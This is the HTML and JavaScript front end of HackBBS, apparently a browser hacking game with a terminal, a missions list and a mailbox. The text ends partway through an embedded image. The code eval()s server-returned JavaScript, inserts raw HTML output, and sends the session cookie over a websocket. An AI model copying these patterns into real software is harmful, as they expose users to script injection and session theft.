<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <title>HackBBS</title>
    <script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
    <script src="https://hackbbs.org/resources/perfect-scrollbar.js" type="text/javascript"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js" type="text/javascript"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/themes/ui-lightness/jquery-ui.min.css" type="text/css">
    <script src="https://hackbbs.org/resources/jquery.mousewheel.js" type="text/javascript"></script>

    <script src="https://www.unpkg.com/jquery.terminal/js/jquery.terminal.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.min.js"></script>

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/flag-icon-css/6.6.6/css/flag-icons.min.css">


    <link rel="stylesheet" href="https://hackbbs.org/resources/css/hackbbs/tabs.css?1783910835" type="text/css">
    <link rel="stylesheet" href="https://hackbbs.org/style.css?1783910835" type="text/css">
    <link rel="stylesheet" type="text/css" href="https://hackbbs.org/resources/marketplace/styleMarketplace.css">

    <link rel="stylesheet" href="https://hackbbs.org/resources/perfect-scrollbar.css" type="text/css">

    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
    <meta name="csrf-token" content="5a2f9d168f99c0473ffe80dea5f5827491a0e546026522ca96f6e8304f12a9b0">

    <script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.7.4-rc.1/web3.min.js"></script>

    <script src="./resources/ethereum.js"></script>

    <!--<link href="https://www.unpkg.com/jquery.terminal/css/jquery.terminal.css" rel="stylesheet" />-->
    <link href="./resources/jquery.terminal.css" rel="stylesheet" />
    <!-- We need cryptojs for encrypting the local websocket with localbbs -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
    <script src="https://hackbbs.org/resources/websocket.js?1783910835"></script>

    <script src="https://hackbbs.org/resources/network.js"></script>

    <!-- START REQUIREMENTS FOR MAP -->
    <script src="https://d3js.org/d3.v3.min.js"></script>
    <script src="https://d3js.org/d3.geo.projection.v0.min.js"></script>
    <script src="https://d3js.org/topojson.v1.min.js"></script>

    <script src="https://cdn.ckeditor.com/ckeditor5/36.0.1/classic/ckeditor.js"></script>

    <!-- <script src="./resources/map/threats.js?1783910835"></script> -->
<script src="https://datamaps.github.io/scripts/datamaps.world.min.js?v=1"></script>
<script src="./resources/map/threats.js?1783910835"></script>


    <script src="https://hackbbs.org/resources/skulpt.js?1783910835" type="text/javascript"></script>
    <script src="https://hackbbs.org/resources/skulpt-stdlib.js" type="text/javascript"></script>

    <!-- END REQUIREMENTS FOR MAP -->
</head>

<body>


    <script>
        function about() {
            $("#about").modal();
        }
    </script>
    <script type="text/javascript">

        function generateRandomString(length) {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            const charactersLength = characters.length;
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * charactersLength));
            }
            return result;
        }

        function createTagForCommand() {
            const randomString = generateRandomString(10);
            console.log("Generated string:" + randomString);
            const pElement = document.createElement('span');
            pElement.id = randomString;
            pElement.innerHTML = `<!-- This paragraph has the id: ${randomString} -->`;
            const terminalOutputDiv = document.querySelector('.terminal-output');
            if (terminalOutputDiv) {
                terminalOutputDiv.appendChild(pElement);
            } else {
                console.log("Terminal output is null");
            }
            return randomString;
        }


        var hasMessage = 0;
        var termLine = "[[g;green;black]anonymous@HackBBS[[g;white;black]:[[g;blue;black]/[[g;white;black]$ ";
        var backTermLine = "[[g;green;black]anonymous@HackBBS[[g;white;black]:[[g;blue;black]/[[g;white;black]$ ";

        function setTermLine(newTermLine) {
            backTermLine = newTermLine;
            termLine = newTermLine;
            //console.log("New termline: " + termLine);
            terminalObject.set_prompt(termLine);
            /*var prompt_node = $('.prompt');
            prompt_node.html($.terminal.format($.terminal.encode(backTermLine)));*/
        }

        function disableTermLine() {
            if (termLine != "") {
                backTermLine = termLine;
                termLine = "";
            }
            return termLine;
        }

        function restoreTermLine() {
            termLine = backTermLine;
            return termLine;
        }

        function getTermLine() {
            return termLine;
        }

        function openWindow(title, content) {
            $(content).dialog({
                hide: 'fold',
                show: 'blind',
                title: title,
                autoOpen: true
            });
        }

        function openWindow(title, content, sizeX, sizeY) {

            const clonedContent = $(content).clone();
            $(clonedContent).dialog({
                hide: 'fold',
                show: 'blind',
                title: title,
                height: sizeY,
                width: '70em',
                close: function(event, ui) {
                    $(this).dialog('destroy').remove();
                },
                open: function(event, ui) {
                    // Retrieve the iframes within the dialog after it is opened
                    $(this).css('width', '97%'); 
                    $(this).find('*').css('width', '100%');
                }
            });
            
        }

        function getCookie(name) {
            function escape(s) {
                return s.replace(/([.*+?\^$(){}|\[\]\/\\])/g, '\\$1');
            }
            var match = document.cookie.match(RegExp('(?:^|;\\s*)' + escape(name) + '=([^;]*)'));
            return match ? match[1] : null;
        }

        $(document).on("click", ".closeButton", function() {
            $(this).closest(".ui-dialog").remove();  // Removes the entire dialog wrapper
        });


        //On declare terminal en global pour pouvoir y accéder des modules
        var terminal = null;
        var term = null;
        var isCommandInProgress = false;
        let commandQueue = [];
        let retryCount = 0;
        const maxRetries = 3;

        localStorage.setItem('csrf-token', $('meta[name="csrf-token"]').attr('content'));

        function updateCsrfToken(newToken) {
            $('meta[name="csrf-token"]').attr('content', newToken);
            localStorage.setItem('csrf-token', newToken);
        }

        function isRunningCommand() {
            return isCommandInProgress;
        }

        function setRunningCommand(status) {
            isCommandInProgress = status;
        }

        function processQueue() {
            if (commandQueue.length > 0) {
                const {
                    command,
                    term
                } = commandQueue.shift();
                //console.log('Processing queued command:', command);
                $('#terminal').terminal().exec(command);
            }
        }

        function getTerm() {
            if (!term) {
                console.warn("Term not initialized yet");
                return null;
            }
            return term;
        }

        async function executeCommand(command, idCmd = null, isHidden = false) {
            const hiddenCommands = ['messagebox -get', 'messagebox -get '];
            const shouldHide = hiddenCommands.some(cmd => command.trim().startsWith(cmd)) || isHidden;

            if (shouldHide) {
                if (window.term && typeof window.term.pause === 'function') window.term.pause();
                // Execute hidden (pass isHidden = true to avoid recursion)
                return _executeCommandInternal(command, idCmd, true);
            }
            return _executeCommandInternal(command, idCmd, false);
        }


        async function _executeCommandInternal(command, idCmd, hidden) {
            // If no ID is provided, create one now (first execution)
            if (idCmd == null) {
                idCmd = createTagForCommand();
            } else {
                //console.log("Re‑using existing command ID:", idCmd);
            }

            if (isCommandInProgress) {
                commandQueue.push({ command, term: window.term });
                return;
            }

            isCommandInProgress = true;
            retryCount = 0;

            const csrfToken = localStorage.getItem('csrf-token');

            try {
                command = command.replace(/\\'/g, '&#39;');

                $.ajax({
                    dataType: "json",
                    type: "POST",
                    url: "php/dispatcher.php?lang=en",
                    data: { command: command },
                    beforeSend: function(xhr) {
                        xhr.setRequestHeader('X-CSRF-Token', csrfToken);
                        xhr.setRequestHeader('idCmd', idCmd);
                    },
                    error: function(jqXHR, textStatus, errorThrown) {
                        if (jqXHR.status == 408 && retryCount < maxRetries) {
                            retryCount++;
                            console.log(`Retrying... (${retryCount}/${maxRetries})`);
                            setTimeout(() => _executeCommandInternal(command, idCmd, hidden), 1000);
                        } else {
                            isCommandInProgress = false;
                            const currentTerm = getTerm();
                            if (currentTerm && typeof currentTerm.error === 'function') {
                                currentTerm.error("We were unable to execute command: " + command);
                                if (typeof currentTerm.set_mask === 'function') currentTerm.set_mask(false);
                            } else {
                                console.error("Term unavailable, can't show error message for command:", command);
                                showErrorBanner("Command failed: " + command.substring(0, 50));
                            }
                            if (hidden && window.term && typeof window.term.resume === 'function') window.term.resume();
                        }
                    },
                    complete: function(jqXHR) {
                        const newCsrfToken = jqXHR.getResponseHeader('X-CSRF-Token');
                        if (newCsrfToken) updateCsrfToken(newCsrfToken);
                    }
                }).done(function(data, textStatus, jqXHR) {
                    lastData = data;

                    const newCsrfToken = jqXHR.getResponseHeader('X-CSRF-Token');
                    if (newCsrfToken) updateCsrfToken(newCsrfToken);

                    isCommandInProgress = false;

                    const currentTerm = getTerm();

                    // Display according to displayMode
                    if (data["displayMode"] == 2) {
                        if (data["sizeX"] > 0 && data["sizeY"] > 0) {
                            openWindow(command, data["htmlData"], data["sizeX"], data["sizeY"]);
                        } else {
                            openWindow(command, data["htmlData"]);
                        }
                    } else if (data["displayMode"] == 3) {
                        if (currentTerm && typeof currentTerm.typing === 'function') {
                            currentTerm.typing('echo', 100, data["htmlData"], function() {});
                        } else if (currentTerm && typeof currentTerm.echo === 'function') {
                            currentTerm.echo(data["htmlData"] + "<br>" + '\n', { raw: true });
                        }
                    } else {
                        if (data["htmlData"] && data["htmlData"].length > 0) {
                            if (currentTerm && typeof currentTerm.echo === 'function') {
                                currentTerm.echo(data["htmlData"] + "<br>" + '\n', { raw: true });
                            } else {
                                console.log("Cannot display output: term not ready", data["htmlData"].substring(0, 100));
                                showErrorBanner("Output available but terminal not ready");
                            }
                        }
                    }

                    // Evaluate JavaScript (includes the polling script)
                    if (data["js"] && data["js"] != "") {
                        try {
                            eval(data["js"]);
                        } catch(e) {
                            console.error(data["js"]);
                            console.error("Error evaluating JS:", e);
                        }
                    }

                    // Handle mask and prompt
                    if (currentTerm && typeof currentTerm.set_mask === 'function') {
                        currentTerm.set_mask(data["mask"] == 1);
                    }

                    if (data["keepTermHandle"] == true) {
                        disableTermLine();
                        var prompt_node = $('.prompt');
                        if (prompt_node.length) prompt_node.html($.terminal.format($.terminal.encode("")));
                    } else {
                        restoreTermLine();
                        var prompt_node = $('.prompt');
                        if (prompt_node.length) prompt_node.html($.terminal.format($.terminal.encode(backTermLine)));
                    }

                    // Resume terminal if it was paused for hidden command
                    if (hidden && window.term && typeof window.term.resume === 'function') {
                        window.term.resume();
                        if (!data["keepTermHandle"]) window.term.set_prompt(getTermLine());
                    }
                }).fail(function(jqXHR, textStatus, errorThrown) {
                    console.error("Request failed: " + textStatus, errorThrown);
                    isCommandInProgress = false;
                    const currentTerm = getTerm();
                    if (currentTerm && typeof currentTerm.error === 'function') {
                        currentTerm.error("Request failed: " + textStatus);
                    }
                    if (hidden && window.term && typeof window.term.resume === 'function') window.term.resume();
                });

            } catch (error) {
                console.error('Command execution error:', error);
                isCommandInProgress = false;
                if (hidden && window.term && typeof window.term.resume === 'function') window.term.resume();
            } finally {
                setTimeout(() => {
                    if (commandQueue.length > 0) {
                        const next = commandQueue.shift();
                        executeCommand(next.command, null, false);
                    }
                }, 1000);
            }
        }

        // Replace the old executeCommand with the wrapper
        const originalExecuteCommand = executeCommand;
        executeCommand = function(command, idCmd = null, isHidden = false) {
            const hiddenCommands = ['messagebox -get', 'messagebox -get ', 'messagebox -get --'];
            const shouldHide = !isHidden && hiddenCommands.some(cmd => command.trim().startsWith(cmd));
            
            if (shouldHide) {
                return _executeCommandInternal(command, idCmd, true);
            }
            return _executeCommandInternal(command, idCmd, isHidden);
        };

        
        $(document).ready(function() {
            terminalInitialized = true;

            //CRTTextAnim();
            //CRTAnim();
            // We set crrect height

            /*
            var winHeight = $(window).height();
            $('#terminal').height(winHeight - 300);
            $(window).resize(function() {
                var winHeight = $(window).height();
                $('#terminal').height(winHeight - 300);
            });
            */

            //
            //$('#terminal').perfectScrollbar();

            lastData = null;


            terminalObject = $('#terminal').terminal(function(command, termm) {
                // Set the global term immediately
                term = termm;
                
                // Check if this command should be hidden
                const hiddenCommands = ['messagebox -get', 'messagebox -get '];
                const shouldHide = hiddenCommands.some(cmd => command.trim().startsWith(cmd));
                
                if (shouldHide) {
                    // Clear the input line immediately to prevent visual echo
                    termm.set_command('');
                    // Execute with hidden flag = true
                    executeCommand(command, null, true);
                    // Return false to prevent terminal from processing/echoing the command
                    return false;
                } else {
                    isCommandInProgress = isRunningCommand();
                    if (isCommandInProgress) {
                        commandQueue.push({
                            command,
                            term: termm
                        });
                        return;
                    }
                    executeCommand(command, null, false);
                }
            }, {
                prompt: getTermLine(),
                greetings: null
            });
            // Ensure term is set even if no command is typed immediately
            if (!term && terminalObject) {
                term = terminalObject;
            }

            
            if (hasMessage == 1) {
                var msgValue = "+------------------------------------------------+\n|                                                |\n| Vous avez un nouveau message dans votre InBox. |\n| Type cat InBox                                 |\n|                                                |\n+------------------------------------------------+";
                if (terminalObject && typeof terminalObject.typing === 'function') {
                    terminalObject.typing('echo', 1, msgValue, function() {});
                }
            }
        });


        function CRTTextAnim() {
            $("#container").animate({
                    opacity: 98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 1
                }, {
                    duration: 100
                })
                .animate({
                    opacity: 0.98
                }, {
                    duration: 100
                });
            window.setTimeout(function() {
                CRTTextAnim()
            }, 1000);
        }

        function CRTAnim() {
            $("body").append("<div class='crt-bar' id='crt-bar'></div>");
            $("#crt-bar").animate({
                top: $(document).height() - 100
            }, 1800);
            //$("#crt-bar").remove();
            window.setTimeout(function() {
                $("#crt-bar").remove();
                CRTAnim();
            }, 1800);
        }

        function postIt(messageHTML) {
            if (messageHTML.includes("Command_Clear")) {
                $('#postit').empty();
            } else {
                displayPostIt(true);
                //console.log("we received a new msg");
                $('#postit').append(messageHTML);
            }
        }

        function missionIt(messageHTML) {
            if (messageHTML.includes("Command_Clear")) {
                $('#missionit').empty();
            } else {
                //displayPostIt(true);
                //console.log("we received a new msg");
                $('#missionit').append(messageHTML);
            }
        }

        function displayPostIt(showPostIt = true) {

            if (showPostIt == true) {
                document.getElementById('postit-container').style.display = 'block';
            } else {
                document.getElementById('postit-container').style.display = 'None';
            }
        }

        function attackDiv(message) {
            $('#attackdiv').append(message);
            $('#attackdiv').animate({
                scrollTop: $('#attackdiv').prop("scrollHeight")
            }, 500);
        }

        function loadAchievement(target) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: "resources/achievements/wiki.php?page=" + target
            }).done(function(data) {
                openWindow("Mission", data, 600, 800);
            });
        }

        function loadResource(target, width = 600, height = 800) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: "resources/" + target
            }).done(function(data) {
                openWindow("Resource", data, width, height);
            });
        }

        function loadRemoteFile(target, width = 600, height = 800) {
            $.ajax({
                dataType: "text",
                type: "GET",
                url: target
            }).done(function(data) {
                openWindow("Resource", data, width, height);
            });
        }

        var state = "init";

        function sendMsgSocket(msg) {
            if (socket.readyState === WebSocket.OPEN) {
                socket.send(msg);
            } else {
                console.log('The websoket is not available for ' + msg);
            }
        }

        function updateStateMachine(contractId, flagValue) {
            if (socket.readyState === WebSocket.OPEN) {
                if (state == "init") {
                    msg = {
                        type: "message",
                        text: "start",
                        username: getCookie("username"),
                        id: getCookie("PHPSESSID"),
                        contractId: contractId,
                        flag: "0",
                        date: Date.now()
                    }

                    sendMsgSocket(JSON.stringify(msg));

                    state = "started";

                } else if (state == "started") {
                    msg = {
                        type: "message",
                        text: "getContracts",
                        username: getCookie("username"),
                        id: getCookie("PHPSESSID"),
                        contractId: contractId,
                        flag: flagValue,
                        date: Date.now()
                    }
                    state = "awaitContracts";
                    sendMsgSocket(JSON.stringify(msg));
                }
            }
        }
    </script>



            <div class="postit-container" id="postit-container">

            <div class="tape" style=" "></div>
            <!--<div class="taches" style=" "></div>-->

            <div class="sketch" style=" "><img src='./resources/skull.png' onerror="javascript:window.location.replace('https://hackbbs.org/index.php');" /></div>

            <div id="postit" class="postit" style=""><br>
                <a href="javascript:loadAchievement('HackBBS:Authentification');">- S'authentifier</a><br>            </div>
        </div>

    

    <div id="tabs">
    <form method="GET" id="langForm" style='display:inline-flex'>
                <button type="submit" name="lang" value="en" class="flag-button">
                    <span class="fi fi-gb flag-icon" title="English"></span>
                </button>

                <button type="submit" name="lang" value="fr" class="flag-button">
                    <span class="fi fi-fr flag-icon" title="Français"></span>
                </button>

                <button type="submit" name="lang" value="ci" class="flag-button">
                    <span class="fi fi-ci flag-icon" title="Cote d'Ivoire"></span>
                </button>
            </form>

    <div class="tab">
        
        <button class="tablinks" onclick="openTab(event,'missions')" id="defaultTab">Missions</button>
        <button class="tablinks" onclick="executeTerminalCommandAndOpenTab(event);openTab(event,'mailBox');" id="mailboxButton" style="display: none">Mailbox</button>
        <button class="tablinks" onclick="openTab(event,'chat-box')" id="chatButton">ChatBox</button>
        


    </div>

    <div id="tabContainer">
        <div id="missions" class="tabcontent">
            <br /><br />
            </br>
            <div id="missionit" class="missionit mission-list" style="">
                <a href="javascript:loadAchievement('HackBBS:Authentification');">- S'authentifier</a><br>                
            </div>
            
            </br>
            <div id="matrix-container" style="flex:1; min-height:0;"></div>
            
        </div>


        <div id="mailBox" class="tabcontent">
            </br>
            <div class="mailTab">
                <button class="mailTablinks" onclick="openMailTab(event,'InBox')" id="defaultMailTab">InBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'OutBox')">OutBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'SendBox')">SendBox</button>
                <button class="mailTablinks" onclick="openMailTab(event,'SharedBox')">SharedBox</button>
            </div>
            <script>
                let terminalInitialized = false;

                function executeTerminalCommandAndOpenTab(event) {

                    // Ensure the terminal is initialized and then execute the command
                    event.preventDefault();

                    if (terminalInitialized) {
                        if ($('#terminal').length && $('#terminal').hasClass('terminal')) {
                            //$('#terminal').terminal().exec('messagebox -get');
                            executeCommand('messagebox -get');
                        } else {
                            console.error("Terminal not initialized or does not exist.");
                        }
                    } else {
                        console.error("Terminal not initialized or does not exist.");
                    }

                    // Open the mail tab

                    openMailTab(event, 'InBox');
                    $('#defaultMailTab').addClass('active');
                }
            </script>

            <div id="InBox" class="mailboxcontent">
                </br>
                <div id="newMails">
                    You have <span style="color:orange;" id='mailsNumber'>0</span> new message(s).
                </div>
                </br>
                </br>
                </br>
                <div id="mailList">
                </div>
                </br>

                
            </div>

            <div id="OutBox" class="mailboxcontent">
                </br>
                </br>
                </br>
                <div id="outmailList">
                </div>
                </br>

                
            </div>

            <div id="SendBox" class="mailboxcontent">
                </br>
                <label id="sendMsg">To: </label></br>
                <input name="msgTo" type="text" id="msgSendTo"></input></br>

                <label id="sendMsg">Subject: </label></br>
                <input name="msgTo" type="text" id="subject"></input></br>

                <label id="sendMsg">Message: </label></br>
                <textarea name="theMsg" type="text" id="msgToSend" rows="15"></textarea></br>

                <label id="sendMsg">Share File: </label></br>
                <input name="msgTo" type="text" id="shareFile"></input></br></br>


                <button id="sendMsgButton"><img id="sendMsgButtonimg" src='data:image/png;base64,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' alt="Send message"></img></button></br>
            </div>

            <div id="SharedBox" class="mailboxcontent">
                </br>
                <div id="sharedBoxSelection">
                    <label for="shared-box-dropdown">Select SharedBox:</label>
                    <select id="shared-box-dropdown">
                        <option value="role">No shared role</option>
                    </select>
                </div>
                </br>
                <div id="sharedMails">
                    You have <span style="color:orange;" id='sharedMailsNumber'>0</span> new message(s) in the selected SharedBox.
                </div>
                </br>
                </br>
                <div id="sharedMailList"></div>
                </br>

               <!-- <div id="sharedboxButtons">
                    <button id="sharedReplyButton"><img title="Reply" id="sharedReplyButtonImg" src="data:image/png;base64,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